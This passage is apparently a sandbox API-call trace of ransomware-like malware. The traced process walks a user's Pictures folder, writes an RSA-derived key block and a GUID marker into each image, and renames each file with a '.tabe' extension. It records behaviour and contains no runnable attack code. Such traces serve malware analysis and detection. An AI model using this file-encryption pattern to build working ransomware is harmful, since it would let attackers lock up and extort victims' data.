KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.596] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.596] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.597] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.597] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.597] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.597] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.597] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.597] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.597] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.597] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.597] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.598] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.598] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8291, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.598] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.598] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.598] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.598] CloseHandle (hObject=0x618) returned 1 [0126.599] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IpVy0XJ EagknhKEy.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ipvy0xj eagknhkey.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IpVy0XJ EagknhKEy.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ipvy0xj eagknhkey.bmp.tabe")) returned 1 [0126.600] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f75e7a0, ftCreationTime.dwHighDateTime=0x1d5e3a1, ftLastAccessTime.dwLowDateTime=0xa85c34b0, ftLastAccessTime.dwHighDateTime=0x1d5e5a4, ftLastWriteTime.dwLowDateTime=0xa85c34b0, ftLastWriteTime.dwHighDateTime=0x1d5e5a4, nFileSizeHigh=0x0, nFileSizeLow=0x1725b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="l9KrUNuvCNgxXIGOBY-h.gif", cAlternateFileName="L9KRUN~1.GIF")) returned 1 [0126.600] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\l9KrUNuvCNgxXIGOBY-h.gif") returned=".gif" [0126.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\l9KrUNuvCNgxXIGOBY-h.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\l9krunuvcngxxigoby-h.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.603] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=94811) returned 1 [0126.603] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.604] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17235, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.604] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.605] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1725b, lpOverlapped=0x0) returned 1 [0126.606] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.606] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.606] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.606] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.607] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.607] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.607] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.607] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.607] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.607] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.607] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.607] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.607] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.608] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.608] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1725b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.608] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.608] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.608] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.608] CloseHandle (hObject=0x618) returned 1 [0126.609] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\l9KrUNuvCNgxXIGOBY-h.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\l9krunuvcngxxigoby-h.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\l9KrUNuvCNgxXIGOBY-h.gif.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\l9krunuvcngxxigoby-h.gif.tabe")) returned 1 [0126.611] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6eaa10, ftCreationTime.dwHighDateTime=0x1d5da4c, ftLastAccessTime.dwLowDateTime=0x9b382c10, ftLastAccessTime.dwHighDateTime=0x1d5e10a, ftLastWriteTime.dwLowDateTime=0x9b382c10, ftLastWriteTime.dwHighDateTime=0x1d5e10a, nFileSizeHigh=0x0, nFileSizeLow=0xcb38, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="mSGcffu0UFI8T.png", cAlternateFileName="MSGCFF~1.PNG")) returned 1 [0126.611] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mSGcffu0UFI8T.png") returned=".png" [0126.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mSGcffu0UFI8T.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\msgcffu0ufi8t.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.612] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=52024) returned 1 [0126.612] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.613] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcb12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.613] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.614] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xcb38, lpOverlapped=0x0) returned 1 [0126.615] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.615] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.615] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.615] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.615] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.615] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.615] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.616] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.616] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.616] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.616] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.616] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.616] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.616] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.616] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcb38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.616] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.616] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.616] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.617] CloseHandle (hObject=0x618) returned 1 [0126.617] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mSGcffu0UFI8T.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\msgcffu0ufi8t.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mSGcffu0UFI8T.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\msgcffu0ufi8t.png.tabe")) returned 1 [0126.619] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab8b32d0, ftCreationTime.dwHighDateTime=0x1d5e67b, ftLastAccessTime.dwLowDateTime=0x62b6a410, ftLastAccessTime.dwHighDateTime=0x1d5e0ca, ftLastWriteTime.dwLowDateTime=0x62b6a410, ftLastWriteTime.dwHighDateTime=0x1d5e0ca, nFileSizeHigh=0x0, nFileSizeLow=0xe74, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="olzBrKU_9DBR.jpg", cAlternateFileName="OLZBRK~1.JPG")) returned 1 [0126.619] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\olzBrKU_9DBR.jpg") returned=".jpg" [0126.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\olzBrKU_9DBR.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\olzbrku_9dbr.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.619] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=3700) returned 1 [0126.620] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.620] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.621] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.622] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xe74, lpOverlapped=0x0) returned 1 [0126.622] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.622] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.622] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.622] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.623] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.623] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.623] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.623] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.623] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.623] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.623] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.623] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.623] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.623] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.623] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.623] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.624] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.624] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.624] CloseHandle (hObject=0x618) returned 1 [0126.624] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\olzBrKU_9DBR.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\olzbrku_9dbr.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\olzBrKU_9DBR.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\olzbrku_9dbr.jpg.tabe")) returned 1 [0126.625] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e470a40, ftCreationTime.dwHighDateTime=0x1d5dd48, ftLastAccessTime.dwLowDateTime=0x1d018740, 